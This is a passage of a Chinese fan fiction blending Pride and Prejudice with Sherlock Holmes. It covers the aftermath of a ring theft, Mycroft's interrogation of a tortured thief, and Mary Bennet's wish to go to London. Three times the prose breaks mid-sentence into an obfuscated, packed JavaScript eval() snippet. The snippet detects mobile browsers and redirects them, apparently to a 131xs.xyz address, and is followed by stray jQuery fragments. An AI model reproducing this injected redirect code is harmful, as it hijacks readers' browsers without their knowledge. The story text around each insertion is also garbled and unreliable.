她将加德纳珠宝店推荐给了这位女仆,果不其然,当天晚上加德纳先生就将那个戒指带了回来。 艾德莱恩太太平日里可以进出加德纳夫妇的卧室,所以她趁着加德纳太太不在的时候偷偷溜进房间偷走了那枚戒指。 将那枚戒指交给了自己的表兄。 而艾德莱恩先生虽然是个赌棍,却内心仅存的一点良心也让他发誓,他绝不会一走了之,他不会带累自己的表妹。 他将戒指用作还债之后就在等待机会将戒指偷回来。 艾德莱恩先生在蹲点了几天,可是那群放贷之人始终留着几个人待在办公室。 终于在上周六他等到了机会,他在窗外眼睁睁的看着几个人从保险柜中拿出了一些首饰和大把大把的几尼①,他们将东西分为两个盒子,而蓝宝石戒指被单独装在一个盒子里带了出去。 艾德莱恩先生一路跟踪,发现领头的人将那个盒子送到了某个贵族的家里,本来艾德莱恩先生都要放弃了,他可没办法到贵族家里偷东西。 可是有时候缘分就是如此巧妙,他在蹲点了一会之后发现贵族老爷和夫人两人上了马车,那位贵族老爷的手上就带着那枚戒指。 艾德莱恩先生一路奔波着跟踪他们去了某个府邸参加宴会。 贵族老爷和夫人凌晨才离开宴会,而他一直等待外面。 后面艾德莱恩先生不知道用了什么办法,从贵族老爷身上偷走了戒指。 当天凌晨,他就急匆匆的赶到加德纳府,半夜偷偷叫醒了艾德莱恩太太。 艾德莱恩太太拿到戒指后因为外面过于昏暗的夜色也没有仔细查看,就趁着半夜偷偷将戒指放回了梳妆盒里。 谁都没想到。 那天的艾德莱恩先生偷走的,是因为某种意外出现在雷利爵士口袋里的蓝色钻戒。 现在,戒指莫名被掉包的事情明白了。 最大的疑问是 玛丽回过头看向身后的麦考福特·福尔摩斯:“那么,你在其中扮演什么样的角色呢?福尔摩斯先生?” 11. 第 11 章 这问题似乎有些突兀,但是玛丽却认为这事整件事最奇怪之处。 艾德莱恩先生和太太都有着自己的诉求,一个想要保护家人,一个想要还清赌债保护自己。 典当珠宝的贵妇人想要得到一定的金钱,得到珠宝的某个贵族老爷或许是想要用戒指来讨好某人。 而麦考福特·福尔摩斯想要得到什么呢? 站在门边的麦考福特一只手扶着手杖,另一只手则若无其事的从口袋里掏出怀表,玛丽下意识的看了一眼,是和夏洛克一模一样的怀表,只是表链依然是完整的原产表链。 玛丽盯着麦考福特想要知道他的目的。 麦考福特却根本不在乎玛丽的视线:“抱歉,太太小姐们,鄙人下午还有一些要事,这就告辞了。” 加德纳太太此时正愤怒的盯着艾德莱恩太太死死不放,仿佛没有听见麦考福特的话。 麦考福特也没等加德纳太太的回复,只是冲着玛丽微笑点点头当做告别,随即就转身离开了。 夏洛克大概猜得到一些,麦考福特做事都有自己的平衡与考量,而很多事情却并不方便告知别人。 玛丽转身追了出去,在门口直接拽住了麦考福特的衣服:“福尔摩斯先生,您还没有回答我。” 麦考福特看着搭在自己臂膀上的手指,太纤细了,只要稍微一用力,就会断掉的脆弱,微微侧过头看着旁边的少女:“班纳特小姐,您此番来到伦敦的行程如此顺利,正是该和家人好好庆祝一番的时候。” 玛丽盯着麦考福特微笑却十足冷漠的双眼:“不!我想要一个真相。” 说话间甚至更用力的抓住了麦考福特的臂膀,她的整个手都圈不住麦考福特一半的胳膊,害怕麦考福特甩开她,玛丽几乎是在用力的掐着 麦考福特面对这个异常执着少女有些无奈,最重要的是,这女孩力气还挺大,指甲掐在胳膊上还是有些痛感的。 叹了口气,麦考福特收起那摆明了敷衍人的笑脸:“班纳特小姐,您知道您在做什么嘛?” 玛丽:“我在追寻一个真相。” 麦考福特低下头几乎是和玛丽脸对着脸:“哪怕真相丑陋不堪?” 玛丽:“没错,哪怕真相丑陋不堪。” 麦考福特与玛丽靠近的几乎能感受到彼此的呼吸,麦考福特声音是如此的轻柔和缓:“那么,您是一个守口如瓶,可以保守秘密的小姐么。” 玛丽:“是的,以我的人格保证。” 麦考福特忽然笑了起来:“巧了,我也是。” 说话间看到门口露出的裙摆,麦考夫重新站直了身体抬手捏住了玛丽的手腕,用了几分巧劲摆脱了玛丽的纠缠,加德纳太太看到麦考夫扶着玛丽的手腕亲亲落下一吻:“再会,人品高尚的小姐。” 玛丽气的不行,想要甩开麦考福特的控制,可是麦考福特根本不给她机会,转而将玛丽的手交给了加德纳太太:“下午三点半的时候您可以去纽盖特街等一等,我想那时候加德纳先生会很高兴看到您的,时间不早了,想必您也需要做一些准备,那么请恕鄙人告辞。” 加德纳太太一把抓住了玛丽,她不允许玛丽得罪这位看上去就是大人物的男人,听上去加德纳先生能不能安全出狱可就看他一句话了。 玛丽只能眼睁睁看着麦考福特上了马车扬长而去。 ———————— 这一天对于加德纳先生来说简直太可怕了。 早上他出门的时候没想到会被抓取坐牢。 而中午坐牢的时候也没想过下午自己就被放了出来。 苏格兰场的人在干什么,办过家家么! 被警员扫地出门的时候加德纳先生还有些呆愣,他为什么会被放出来了?事情调查清楚了么?这一切是怎么发生的? 浑浑噩噩的加德纳先生走出监狱大门的一瞬间都怀疑自己是不是在做梦,看到门外等待的加德纳太太才如梦初醒。 “天哪,加德纳先生,您受苦了。” 加德纳太太跑上前握住了加德纳先生的双手,如果可以她更希望可以拥抱自己的丈夫,可是此刻她只能紧紧地握住对方的双手表达自己的激动之情。 加德纳先生有些奇怪的问道“发生了什么?他们说经过调查我是无辜的,窃贼已经抓住了。” 玛丽在一边等待着:“是管家艾德莱恩太太,她和兄弟合作,偷窃了珠宝,事后因为一些巧合,蓝宝石被掉包成了蓝钻。” 艾德莱恩太太已经被抓进去了,这件事让家里另外两个女仆都有些害怕。 她们害怕自己也会被连累,被辞退。 幸好加德纳太太没有因为一个人的问题就辞退所有人,另外两个女仆感恩戴德,发誓一定会对加德纳太太忠心耿耿。 事情还算顺利的解决,虽然玛丽知道其中还有一些奇怪的疑问,但是显然她无能为力,她可没办法闯入那些贵族的家里去调查清楚整件事。 目前为止,加德纳先生顺利洗清冤屈,顺利出狱已经是最好的结局了。 ———————— 麦考福特坐着马车回到白厅,下午的工作还有一些,等到傍晚工作结束,他将文件一一整理归类,离开办公室。 车夫托马斯已经在外面等待了,上了车麦考福特才微微放松一些,抬手揉捏着鼻梁。 白厅办公室里一半人是好管闲事的自大狂,另一半只想捞点好处,利用他们的需求,为他们办事。 而这,正是麦考福特在白厅的权力所在。 他就像是一个交通枢纽,所有人想要达到自己的目的,都会下意识的去找麦考福特。 托马斯驾驶着马车来到一栋不起眼的荒废民宅,这在伦敦并不奇怪,那场大火连续烧了 4 天,烧毁了大约 80%的伦敦,人们在废墟之上建造了一个全新的伦敦,同时,也保留了一部分曾经的伦敦。 麦考福特在托马斯打开车门后只是深吸了一口气,脸上没有出现平日里面对众人的微笑。 此刻他面色冷硬,表情淡然,全完看不出白厅办公室里那和蔼可亲的模样。 废墟表面上都是一些残破的瓦砾,走到某处瓦砾之下,托马斯上前掀开了地上的盖子,下面是一条台阶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749130|174252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 麦考福特率先进入,托马斯在后面重新盖上了盖子,下面十分昏暗,托马斯点亮了手里的煤油灯。 灯光从麦考福特背后亮起,在昏暗的地下室内只能听见他的和托马斯两人的脚步声,随着楼梯越来越往下,温度也越来越低,偶尔有风夹杂着血腥与臭味扑面而来。 走下最后一节台阶麦考夫走近右手的走廊,经过空无一人的走廊,槅门,再是走廊,再是槅门。 随着两人的脚步越来越近,传来的不只是血腥气味,还有痛哭和惨叫声。 在最后一道槅门打开后凄厉的惨叫声终于清晰的传入麦考福特的耳朵里。 看来我们的艾德莱恩先生还有一些力气。 麦考福特穿过走廊,两边是铁栅栏分隔的小型监狱。 这些监狱里有些躺了人,有些则是空置。 走廊的尽头是另一个关着门的屋子,打开房门,房间正中是坐在椅子上的艾德莱恩先生,此刻他双手被捆绑在身后,明显不符合正常人的姿势,看得出双手已经被折断,双腿被分开捆绑在木板上。 “初次见面,艾德莱恩先生,向您问好。” 麦考福特站在艾德莱恩面前一米远的距离。 在房间的角落里还有两人,他们穿着简单的衬衫,其中一个手里还拿着一根钉子。 麦考福特挥挥手,两人没有多问只是走出了房间,托马斯从角落搬来一把椅子放在麦考福特身后,之后也走出房间,站在门口等待着。 艾德莱恩此刻已经精疲力尽,嘴里的血沫混着口涎往下流:“为什么,你们是什么人。” 麦考福特坐在椅子上看着艾德莱恩:“那天晚上,你听到了什么?” 艾德莱恩的声音含含糊糊,但是麦考福特还是听清楚了:“如果我说了,你们会放了我么。” 麦考福特从口袋里掏出怀表:“您在耽误我的时间,艾德莱恩先生。” 艾德莱恩苦笑一声,他不该去偷窃那枚戒指,他当初就该一跑了之。 麦考福特合上怀表:“是谁帮助你进入埃塞克斯伯爵府邸。” 艾德莱恩:“没有人,我去的时候那后门就是开着的。” 麦考福特:“然后呢。” 艾德莱恩:“我当时只是想着看能不能混进去,看看有没有什么值钱的东西,顺便找机会去偷那枚戒指,我发誓,我就是随便找了个屋子,想着换身衣服,说不定可以混进去。” 麦考福特敲了敲桌子:“艾德莱恩先生,我想我问的很清楚,你听见了什么?需要我提醒一下您么?那天晚上,你躲在衣柜里听见的。” 艾德莱恩知道自己跑不掉了,他在躲进衣柜里,听见他们谈话之后就该立刻跑走,而不是趁机去要挟那个贵族老爷。 他早就该带着钱一走了之,他不该将戒指送还给妹妹,心里地对家人的最后一丝善良。 害死了他。 艾德莱恩终于抬起头直视对面的男人,他知道,自己走不出去了。 麦考福特看见艾德莱恩的双眼:“现在,你可以说出最后的遗愿了……” 12. 第 12 章 回到家里加德纳太太几乎是咬牙切齿的将艾德莱恩太太的所作所为告知了丈夫,听到是玛丽和福尔摩斯先生探查明白了真相,加德纳先生松了口气,对福尔摩斯先生的感激之情几乎满溢出来,他表示第二天一定要上门好好感谢一番福尔摩斯先生。 至于玛丽,明日一同前去拜访一番福尔摩斯先生之后就要回去朗伯恩了。 玛丽对此没什么意见,她的意见也不重要,不论她说什么,加德纳先生也不会听她的。 一大早加德纳先生带上玛丽前往蒙塔古街,幸好夏洛克还在家里,这两天他没什么新案子,正在客厅研究自己的新药剂。 许多刑事犯罪都是在罪行发生的几个月之后才能查出嫌疑犯,而对犯罪现场的检查以及对嫌疑犯检查时发现的褐色斑点是血渍还是污泥,是锈迹亦或者果汁,更甚者是什么其他的东西①这问题往往会让专家感到为难,因为这种经过几个月污染之后的污渍很难检测。 夏洛克一直想研究出一种新的药剂,或者一种新的检测方法,这种药剂或者方法可以和血色蛋白质发生反应准确鉴别血迹,而他和玛丽相遇的时候正巧就在查探一起案件,这起案件让他更坚信这种化学药剂的作用。 玛丽和加德纳先生到来的时候他正在厨房忙碌,他听见了敲门声,但是今天上午并没有什么提前约定的访客。 两人在门口等待了片刻房门才打开,夏洛克手里还拿着一个玻璃管:“哦,玛丽,加德纳先生,日安。” 匆匆打了个招呼夏洛克就转身进屋了,加德纳先生显然也看出来夏洛克是个不拘一格的人,两人进了屋子之后就看着夏洛克在厨房收拾出来的实验台上忙碌。 玛丽树上看过很多化学实验,但是家里并没有条件,此时看到如此良好的实验器具忍不住有些手痒:“有什么我可以做的?” 夏洛克正坐在一边用显微镜查看什么,听见玛丽的话顺手指了指旁边:“请将过氧化氢递给我,桌上左手边第二瓶溶液。上面贴了一个白色标签,写了符号。” 玛丽走到桌边拿起夏洛克需要的瓶子递了过去。 加德纳先生捏着自己的帽子还在诉说自己的感激:“太感谢您了福尔摩斯先生,如果不是您,我不会这么快洗清冤屈,您救了我,也救了我们一家人,我真是不敢想如果我遇到什么事,我的家人该怎么办。” 夏洛克却浑然不在意:“感谢您的侄女吧加德纳先生,她在其中出了很大的力气,是她串联起这些细微的线索。” 玛丽站在夏洛克的身边看着他将溶液小心的滴进试管。 加德纳先生沉默片刻:“如果可以,希望您对此保密,先生。” 夏洛克和玛丽都转过头来看了眼加德纳先生,玛丽脸色平静,似乎对此已经预料到了。 加德纳先生看了眼玛丽:“她只是一个普通乡绅家的孩子,我们一家都是普通人,对孩子最大的期盼不过是健健康康的长大,嫁给一个绅士保证她未来的生活,这些日子发生的一切,如果传出去……” 夏洛克微微点头:“您放心,在我这里不会透露出任何关于班纳特小姐的事情。” 玛丽却看向夏洛克:“福尔摩斯先生,您是否需要雇佣一个助理?” 加德纳先生震惊的抬起头:“玛丽!” 玛丽却一直盯着夏洛克:“我不想埋没在日复一日平庸的乡村生活里,我是坚信自己来到这世界上自有我的路要走,上帝给了我如此才智,我不该浪费我的头脑。” 夏洛克确实欣赏玛丽,但是对此事却没有什么办法:“抱歉,班纳特小姐,恐怕我对此无能为力。” 玛丽就这么盯着夏洛克,然后移开了视线:“那么请忘了我刚才冒昧的言语吧。” 说完玛丽就率先离开了。 她争取过,但是现在看来失败了。 加德纳先生连忙起身追了上去:“打扰您了福尔摩斯先生,祝您有美好的一天,再会。” 夏洛克看着两人先后出了门,他知道玛丽举步维艰,并不说她生活困难,但是将人类丢进动物园生活,哪怕她衣食充足也会感到举步维艰的。 玛丽走到楼下,深吸一口气,大街上所有人都在扮演固定的角色,报童,绅士,淑女,行色匆匆的工人。 每个人都有自己的模板和固定轨迹。 绅士的穿着,动作,就连手杖都是固定的几家商店的制品。 淑女们穿着不同的裙子,带着不同的帽子,但是她们接受同一种礼仪教导,接受同一种规训,接受同一种思想。 就连自己…… 玛丽低头看看自己,她也一样,她也在被不断规训。 她们是这个巨大的社会工厂所制造的流水线产品。 玛丽不知道自己是算作这条流水线的瑕疵还是另一条流水线的的另一种产物。 加德纳先生走到玛丽身边:“走吧孩子,我送你回去。” 此番洗脱冤屈不亚于重获新生,加德纳先生决定亲自送玛丽回到朗伯恩。 回到朗伯恩的马车上玛丽靠在车窗边看着外面的风景一点点从迷雾笼罩的城市,工厂,最后视野逐渐开阔,变成了到沃野千里的田园。 在别人看来是舒心畅意的田园风光,而在玛丽看来,这里的一切只是木头和石头,是紧固她飞往外面世界绊脚石。 回到家里班纳特太太还一无所知,冲上来拥抱了自己的弟弟:“爱德华!一切都好么。” 加德纳先生看到班纳特太太只是叹了口气,最终还是拥抱了自己的姐姐。 对于别人来说班纳特太太似乎从一开始就是一个大呼小叫,没有头脑,动不动就闹出笑话的老妇人。 可是对加德纳先生而言班纳特太太还是小时候那个会牵着他的手,在庄园里陪伴他照顾他长大的姐姐。 “一切都很好,事情都解决了姐姐。” 班纳特先生原本在客厅看报纸,看到加德纳先生忽然登门倒是有些奇怪。 两人对视一眼,班纳特先生提出去书房聊一聊,班纳特太太连忙让女仆送去茶点。 玛丽只是沉默的上楼,回到自己的房间里。 走的时候房间如何,现在回来房间也一样。 玛丽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749131|174252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 躺在床上看着床顶的帷幔,门口传来敲门声:“可以进来么?” 是伊丽莎白。 玛丽没有起身,依然瘫倒在床上:“请进吧,门开着呢。” 伊丽莎白坐到了妹妹身边抚摸着玛丽的头顶:“怎么了?玛丽,你看上去很不开心。” 玛丽将视线看向窗外:“哦不,如果非要说的话,我还是挺开心的,事情还算顺利的解决了,我还认识了一个……朋友。” 伊丽莎白也躺了下来,靠在玛丽的身边握着她的手:“不,玛丽,你的双眼并不是这么告诉我的。” 玛丽叹了口气:“莉齐,我有时候真的不知道为什么,我觉得不公平。” 伊丽莎白:“很多事都不公平。” 玛丽:“为什么我不能去读一读大学,为什么我必须做一个所谓的体面小姐,我不喜欢那样,我也不想那样,我有灵魂,我有梦想,我有我自己想去了解,想去做的事情。虽然我现在还不知道我能做什么,但是我喜欢走出去,我喜欢观察别人,我喜欢那些科学,那些知识,我想要看看我所掌握的一切,是如何参与这个世界的运作的……可是我……” 伊丽莎白握住玛丽的手无声的给予她力量。 玛丽:“我在伦敦遇到了一个朋友,他也很聪明,你知道的,是我认为的那种聪明,当然了,我不是说你们都很笨,你们只是……不太聪明。” 听到这里伊丽莎白翻了个白眼捏了捏玛丽的脸。 玛丽迅速略过这个话题;“哦,说到朋友,这次去伦敦调查的时候我和他偶然遇见的,十分愉快的谈话,或许也算是合作,他的哥哥虽然……好吧,也算帮助了我们。我在想如果我是个男性,我是不是也能和他一样,有机会出去闯一闯,看一看,我喜欢探案,喜欢解密,喜欢走出去看一看这世道。可是我不行,回来之前舅舅和我去拜访了他,我问他需不需要招聘一个助手,如果他需要,我或许可以谈一谈薪水,我不需要很多钱,只要够我吃饭就行。我读了那么多的书,那些书让我知道世界上有那么多可以探索的东西,可是很不幸,我被世界拒之门外。” 班纳特先生站在门外的走廊上,他静静的听着玛丽的话。 玛丽:“有时候我希望自己就像是莉迪亚那样多好,只要有漂亮的衣服,华丽的帽子,热闹的舞会她就会很开心。可是我不开心,莉齐,我每一天都不开心,我似乎被什么东西困住了。” 伊丽莎白面对这种事也无能为力,她不知道要如何安慰自己的妹妹,或许简在这里会更好,简总是那么的贴心,那么温柔,她似乎天生就知道如何安慰别人。 可是简早上去姨妈家里了,要晚一点才能回来。 玛丽叹了口气:“算了吧莉齐,忘了我说的话吧,都是一些庸人自扰罢了。” 班纳特先生转身离开了走廊,原本他是想上来问一问玛丽伦敦的事情,但是现在他有些难过。 玛丽是矛盾的,她无法忍受自己的平庸和愚蠢,可是越是汲取知识,她也愈发清楚,自己在这个世界上所想做的一切,都是不可能做到的,她无法和整个世界对抗。 13. 第 13 章 晚餐的时候玛丽终于重新调整好了自己的状态,脸上装作若无其事的坐在餐桌边,听着班纳特太太和加德纳先生聊天。 班纳特先生没说什么话,只是视线时不时的就会看向玛丽。 玛丽感受到了,但是没什么好问的,都猜得到,加德纳先生一定和他说了自己在伦敦穿着男装的事情了,班纳特先生大概就是为了这事才频频侧目吧。 晚餐结束一家人到休息室闲聊,莉迪亚和凯蒂围绕在舅舅身边,叽叽喳喳的像是两支小麻雀,简在刺绣,莉迪亚前两天想要一块新的手帕,拜托简帮她绣上一朵漂亮的鸢尾花。 加德纳先生被被莉迪亚缠着问那个钻戒到底是什么样子的,一定漂亮极了,她们还没见过华丽的彩色钻戒呢。 班纳特太太也好奇极了,坐在一边和莉迪亚一样好奇的追问。 班纳特先生看着玛丽坐在角落里发着呆,难得的没有捧着书在看。 今天下午他想了很多,那些繁杂的思绪是那么的混乱,但是班纳特先生知道,作为一个父亲,他需要为自己的女儿做一些事情。 晚上加德纳先生留宿在了朗伯恩,夫人们小姐们都回去准备休息的时候班纳特先生叫住了玛丽。 两人去了书房,班纳特先生从抽屉里拿出烟盒与火柴。 玛丽以为班纳特先生会愤怒的质问她为什么要穿男装,她已经做好了挨骂的准备 但是书房沉默了好一会,就在玛丽有些走神的时候班纳特先生忽然开口问道:“我想要送你去伦敦。” 玛丽忽然抬起头看向班纳特先生,张嘴准备说什么…… 班纳特先生打断道:“你或许会吃上很多的苦,但是我想你相比于在朗伯恩做一个享福的淑女,是更愿意去伦敦吃上一些苦头的。” 玛丽的心脏在砰砰直跳,那种心脏跃动的感觉,仿佛耳朵里的鼓膜都感受到了那份喜悦,激动,紧张。 班纳特先生缓缓吐出一口烟:“当初我给你取名叫玛丽或许就注定了,我所期盼的玛丽,和你自己成长为的玛丽,似乎并不一样,但是不论如何孩子,作为父亲,我总是爱你的。” 玛丽感觉自己的眼眶开始发热,喉咙也紧缩着,不知道该说什么,玛丽伸手拥抱住了班纳特先生:“谢谢你,爸爸。” 班纳特先生抚摸着玛丽的头,当初他已经拥有了简和伊丽莎白,他非常期待第三个孩子是一个男孩,毕竟限定继承法规定了,如果他无法拥有一个儿子,那么他的一切,都会被侄子继承。 可是期盼落空,第三个孩子依然是女孩。 那段时间他甚至有些自暴自弃了,他只是随便取了个名字,玛丽。 玛丽:柔顺无私的圣母玛利亚,也是最常见的女孩名字。 第一个孩子叫做简,寓意是神的恩典,第二个孩子是伊丽莎白,而在此之前,英国的黄金时代,都铎王朝最后一位君主,正是伊丽莎白一世。她是如此的强大、智慧,班纳特先生希望自己的女儿也是这样,是一个充满智慧,内心强大的孩子。 可是期盼了许久,第三个孩子几乎耗光了他的希望。 最后只得到了一个玛丽。 平凡,普通,最常见的玛丽。 可是班纳特先生想不到,平凡普通最常见的玛丽还有另一个寓意:反抗。 玛丽之名,也代表对命运的反抗。 这个孩子还那么小的时候就展示出了杰出的才华,她是如此的聪慧,简直是闪闪发光的珍宝。 现如今,班纳特先生不希望自己是阻止珍宝散发光芒的人。 班纳特先生缓缓叹着气,拥抱着自己的孩子:“我无法为你做更多,但是我可以为你争取一年的时间,这一年里我可以为你支付房租,用你自己的方式去伦敦讨一讨生活。” 玛丽默默地流着泪,靠在班纳特先生的怀里:“谢谢您爸爸,我不知道该怎么说,但是谢谢您无私的爱。” 班纳特先生忽然笑了:“不,孩子,我可不是无私的,我自私的希望我的孩子们都幸福快乐,寻得一个体贴的绅士,未来的婚姻生活幸福美满,哦,莉迪亚这个小笨蛋或许有些困难,但是她有你们这群聪明有善良的姐姐,你们会照顾好她的,对么?” 玛丽原本还在流泪的双眼也笑了起来:“是的爸爸,我会照顾好姐妹们的。” 看着班纳特先生有着皱纹的笑脸,玛丽靠近后再班纳特先生的脸颊上也落下了一吻:“谢谢您,爸爸,您如此爱我们,我们也如此的爱您。” 父女两人交谈之后各自回到房间,分开前班纳特先生叮嘱玛丽,暂时不要讲这件事 在离开朗伯恩,甚至今天早上回到朗伯恩的时候玛丽都觉得自己不开心,但是现在班纳特先生要送她出去吃苦,她却开心极了。 心脏雀跃的像是要从喉咙里跳出来。 玛丽回到房间里扑到在床上,忽然露出一个傻乎乎的笑容。 她要去伦敦,是不是得想办法找一个活计?找一份工作?她该如何赚钱呢? 这个想法其实在心里盘旋了许久,以前一直没有想到,但是这一次去伦敦,碰到了夏洛克,玛丽却有了一些思路。 她很聪明,也很擅长学习,她在化学,物理科学方面有一些才华,她或许可以应聘化学实验室的助手,或者实验员,她可以在这些地方学习,薪水可以要很少一部分,她喜欢学习,喜欢那些知识。 如果可以将知识变化为实际应用成果,看着自己的成果改变这个世界,哪怕只是很小很小的一部分,她觉得自己都会很开心的。 怀抱着这样一份兴奋又激动的心情,玛丽几乎彻夜难眠,一直到第二天早餐时坐在餐桌边,简看到玛丽的黑眼圈吓了一跳。 简:“玛丽,你没有休息好么?” 玛丽精神奕奕:“不,我现在感觉好极了!” 莉迪亚昨晚和凯蒂聊到很晚,一直在讨论那枚未曾谋面的蓝钻,两人不断幻想那枚钻石是多么的美丽,多么闪耀,今天早上两人昏昏欲睡的在桌边靠着彼此。 伊丽莎白看着两个小妹妹:“好了,别这样死气沉沉的。” 莉迪亚有些不高兴,但还是老老实实的坐直了身体,旁边的凯蒂都快滑到桌子下面去了,莉迪亚看着凯蒂几乎快闭上的双眼捏了捏她的手指。 看着两人还算老实,伊丽莎白没有多说什么。 吃完了早餐,加德纳先生看着外面天色似乎有些变化,连忙和姐姐以及姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749132|174252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫告别。 等到加德纳先生离开没多久内瑟菲尔德送来了一封信,指定送给班纳特小姐。 班纳特太太激动极了:“是内瑟菲尔德送来的?上面写了什么简?” 简打开信件:“是宾利小姐寄来的。” 班纳特太太有些失望:“哦,好吧,那也算是个好兆头,给我看看,给我看看。” 说话间班纳特太太从休息室的另一边一路小跑到简的身边从她手上夺取了信件。 “我亲爱的朋友,今天请与我和露易丝共进晚餐……巴拉巴拉……因为男士们要去和军官吃饭……”班纳特太太大呼起来:“太不走运了!……” 感叹完班纳特太太又对简说到:“好吧,简你还是要去,尽力做点什么。” 说完班纳特太太将信件随手递给了凯蒂,凯蒂将信件传回简的手上,简这时候才看完了信。 玛丽有些不解的看着班纳特太太:“尽力做点什么?做什么?” 简看向班纳特先生:“我可以坐马车去么爸爸?” 班纳特先生刚要回话就被班纳特太太的大呼小叫给打断了:“当然不行亲爱的,你必须骑马去,外面看上去可是要下雨了,这样你就可以在哪里过夜了!” 玛丽看了眼外面的天气,又将视线看向班纳特太太:“您不能这么做妈妈,简会生病的!” 班纳特太太根本不听玛丽的:“玛丽你不懂!简难道你想去内瑟菲尔德折腾一趟却看不到宾利先生么!正好,你就骑……黑莓吧,黑莓似乎还在马厩。” 简将视线看向班纳特先生:“爸爸!” 她期待着班纳特先生可以帮她说说话。 班纳特先生也有些无奈:“我刚才正想说,简,家里的马车借给佃农了,马厩里另外两匹马也借给了佃农,如果你打算去内瑟菲尔德的话,只能骑黑莓出门了,当然,外面快要下雨了,如果你不想去,可以给内瑟菲尔德回一封信。” 现在摆在简的面前只有两个选择,如果去,那就只能选择骑马,如果不想淋雨,那就只能不去了。 简思索了一会,最终还是决定去一趟,宾利小姐的信件写的情真意切,她不忍心,也不愿意回绝对方。 最终简还是决定骑马前去,她想着如果自己尽快动身,说不定早一些到,说不定碰巧,她到达之前外面不会下雨呢。 回屋换了一套衣服,玛丽站在窗边看了一会天空:“简,你真的打算去么,外面确实要下雨了。” 天色已经阴沉起来,任何人都看得出要下雨的样子。 黑莓已经被仆人牵到前院,简一边往外走一边说道:“是的,别担心,玛丽,我路上会尽快赶路的。” 简离开了没十分钟,外面就开始下雨,一开始还是淅淅沥沥的小雨,随着一声惊雷,雨式变成了瓢泼大雨。 伊丽莎白站在窗边看着外面的大雨很是担心。 班纳特太太反而喜不自胜:“看到了么莉齐,这一切尽在我掌握之中” 玛丽在确认简是真的自己想要去内瑟菲尔德之后就上楼睡觉了。 躺在温暖的被窝里,玛丽陷入沉睡前的最后一个想法是。 为什么简一定要去吃这顿晚餐呢? 14. 第 14 章 玛丽不明白简是怎么想的,但是晚餐的时候家里收到了信,简因为路上淋了雨有些感冒发烧会留在内瑟菲尔德养病,她们会妥帖的照顾简,希望班纳特太太能够放心。 班纳特太太可太放心了,她甚至都要歌唱了。 晚餐的时候任何人都看得出她心情的美妙。 伊丽莎白和班纳特先生看上去都有些不高兴。 第二天早上玛丽坐在餐桌边听到的第一句就是班纳特先生的讽刺:“亲爱的班纳特太太,如果简因为这次发烧而去世,而这一切都是因为听从你的指令去追求宾利先生我真是感到无比欣慰。” 班纳特太太一边切着鸡蛋一边反驳:“别瞎说,人可不会因为感冒而死。” 玛丽顺嘴接了一句:“那可不一定,有科学表明,感冒发烧后可能引起多种并发症,万一哪种并发症就要了简的命呢。” 班纳特太太瞪了一眼玛丽:“她会在内瑟菲尔德庄园得到精心照料的!而且……” 伊丽莎白打断了班纳特太太的荒谬言论:“妈妈,我想我必须去一趟内瑟菲尔德。” 班纳特太太将注意力从玛丽身上挪开:“去内瑟菲尔德?完全没必要!简在那里很好……而且你也知道,内瑟菲尔德可没有你的容身之所。你如果闲得无聊可以陪你的妹妹们去梅里囤见见军官们。” 听到军官的莉迪亚笑的开心极了:“是的莉齐,和我们一起去梅里囤吧。” 伊丽莎白坚定的开口:“不,我认为简会希望我能够陪在她身边的。” 玛丽也打算去看看简:“莉齐,我和你一起去。” 班纳特先生:“听上去我该让人去准备马车了,昨晚佃农将马车送回来了。” 莉齐拒绝道:“不用了爸爸,我和玛丽走过去就行,内瑟菲尔德只有三英里,我们可以在晚餐前回来。” 班纳特太太:“三英里?走路去!到时候你们还能见人么!” 玛丽毫不在乎的啃了一口面包:“为什么不能?” 伊丽莎白看着玛丽笑了一下:“是的,我能见到简就足够了。” 似乎为了让班纳特太太死心,伊丽莎白坚定极了:“我已经决定了妈妈,不论你说什么。” 班纳特太太见劝阻无效只能呼唤她的老朋友。 只要有需要就会自己疼痛起来的神经。 在玛丽和伊丽莎白出门前似乎还能听见班纳特太太的大呼小叫:“我的上帝,我神经痛又犯了,没人心疼心疼我么!” 玛丽思索了一番:“昨天下了雨,如果我们从森林那条近路走可能弄得身上都是泥,可以从森林和小湖中间的岔路走过去,路程稍远一点,但是会干净许多。” 伊丽莎白是真的不在乎这些,她现在只担心简的情况,最后两人还是选择了森林的近路,玛丽的体力可不如伊丽莎白,对伊丽莎白来说刚好的运动量,玛丽快要喘的背过气去了。 快要走到内瑟菲尔德庄园的时候玛丽靠在大树边休息,伊丽莎白陪她歇一口气。 两人正说着等会看看简的情况,看看是否需要医生,忽然看到达西先生从森林边缘的篱笆后面露出头。 达西也没想到会在这里看到两位班纳特小姐。 